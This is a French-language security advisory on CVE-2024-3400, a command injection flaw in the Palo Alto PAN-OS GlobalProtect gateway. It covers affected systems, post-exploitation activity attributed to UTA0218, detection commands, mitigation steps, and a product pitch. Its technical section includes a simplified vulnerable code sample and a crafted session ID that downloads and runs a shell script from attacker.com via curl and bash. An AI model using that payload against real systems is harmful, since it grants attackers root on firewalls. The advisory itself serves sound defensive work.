CVE-2024-3400 : Injection de commandes dans Palo Alto PAN-OS — CVSS 10.0

CVE-2024-3400 est une vulnérabilité d'injection de commandes du système d'exploitation de gravité maximale dans la passerelle GlobalProtect de Palo Alto Networks PAN-OS. Un attaquant non authentifié peut exécuter des commandes OS arbitraires en tant que root sans aucune interaction requise. Exploitée par UTA0218 (probablement d'origine étatique) avant divulgation.

Qu'est-ce que CVE-2024-3400 ?

CVE-2024-3400 affecte la fonctionnalité GlobalProtect de Palo Alto Networks PAN-OS. Lorsque GlobalProtect est configuré en tant que passerelle ou portail, un attaquant distant non authentifié peut injecter des commandes OS arbitraires qui s'exécutent avec les privilèges root sur le pare-feu.

La combinaison de ces facteurs — aucune authentification requise, accessible depuis le réseau, changement de périmètre, impact maximal sur la confidentialité, l'intégrité et la disponibilité — donne un score CVSS parfait de 10.0. Parmi les fournisseurs de pare-feu, seule une poignée de vulnérabilités ont déjà reçu ce score.

Systèmes concernés

Prérequis : une passerelle ou un portail GlobalProtect doit être configuré (show global-protect-gateway current-user renvoie des résultats). Les organisations n'ayant pas configuré GlobalProtect ne sont pas concernées.

Analyse technique

Le point d'injection se trouve dans le code de gestion des sessions GlobalProtect. Lorsqu'une session GlobalProtect est établie, certains attributs de session sont écrits dans des fichiers temporaires sur le pare-feu. Le code qui construit le chemin de fichier de ces fichiers de session ne nettoie pas correctement l'identifiant de session, qui est partiellement contrôlé par l'attaquant.

# Simplified vulnerable file path construction
SESSION_ID = request.cookie["SESSID"]  # Attacker-controlled
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >>  {session_file}")  # Injection de commande ici

# L'attaquant élabore un ID de session contenant des métacaractères shell :
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"

La porte dérobée UPSTYLE installée par UTA0218 utilisait un nouveau mécanisme de persistance : un script Python qui surveillait les journaux d'accès du serveur web à la recherche de motifs de requête spécifiques (contenant une commande chiffrée), exécutait les commandes, puis restaurait le contenu original du fichier pour effacer les traces de l'activité.

Activité post-exploitation (UTA0218)

Volexity a documenté la séquence post-exploitation suivante menée par des acteurs étatiques :

• Déploiement d'UPSTYLE : porte dérobée Python installée dans le chemin du serveur web du pare-feu pour un accès persistant
• Extraction d'identifiants : extraction de la configuration du pare-feu contenant des identifiants VPN et des informations de routage interne
• Pivot interne : utilisation de la position de confiance réseau du pare-feu compromis pour atteindre des hôtes internes
• Requêtes LDAP : énumération d'Active Directory via l'accès réseau interne du pare-feu
• Préparation des données : compression et exfiltration de fichiers sensibles via le pare-feu

Détection

Analyse des journaux PAN-OS

# Check for UPSTYLE backdoor artifacts
find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null

# Trafic suspect dans les journaux GlobalProtect
grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log

# Fichiers système modifiés (UPSTYLE les modifie puis les restaure)
# Vérifier les horodatages d'accès récents sur les fichiers du serveur web
find /var/appweb -atime -7 -name "*.php" -o -name "*.py"

Requêtes de threat hunting

• Réponses HTTP 200 sur des chemins GlobalProtect avec des formats de cookie de session inhabituels
• Connexions sortantes depuis le plan de gestion du pare-feu vers des IP externes
• Requêtes DNS de PAN-OS vers des domaines absents du flux de renseignement sur les menaces
• Horodatages de modification inhabituels sur les fichiers de configuration du pare-feu

Atténuation

1. Corriger immédiatement : appliquez les versions correctives listées ci-dessus. Il s'agit d'un CVSS 10.0 activement exploité — aucun délai n'est acceptable.
2. Contournement provisoire via Threat Prevention : pour les appareils non corrigés, activez Threat Prevention avec des profils de sécurité sur les interfaces GlobalProtect. Palo Alto a fourni des signatures d'ID de menace spécifiques.
3. Désactiver GlobalProtect si inutile : les organisations n'utilisant pas activement GlobalProtect peuvent désactiver temporairement la fonctionnalité en guise de contournement.
4. Auditer les fichiers du pare-feu : exécutez le script fourni par Palo Alto pour rechercher UPSTYLE et d'autres artefacts post-exploitation.
5. Faire pivoter tous les identifiants : tout identifiant stocké dans la configuration du pare-feu (certificats VPN, identifiants de liaison LDAP, etc.) doit être considéré comme compromis.

Capacité de détection KENSAI

• Empreinte PAN-OS : KENSAI identifie les appareils Palo Alto exposés à Internet et leurs versions de PAN-OS, en signalant les configurations vulnérables à CVE-2024-3400
• Détection d'exposition GlobalProtect : identifie si la passerelle/le portail GlobalProtect est activé sur les appareils détectés
• Confirmation d'exploitabilité sûre : une sonde non destructive vérifie l'exploitabilité sans exécuter de commandes
• Analyse des indicateurs de compromission : recherche des indicateurs de la porte dérobée UPSTYLE dans les chemins web accessibles
• Surveillance continue de la surface d'attaque : alerte lors de la découverte de nouveaux appareils PAN-OS rejoignant votre surface d'attaque externe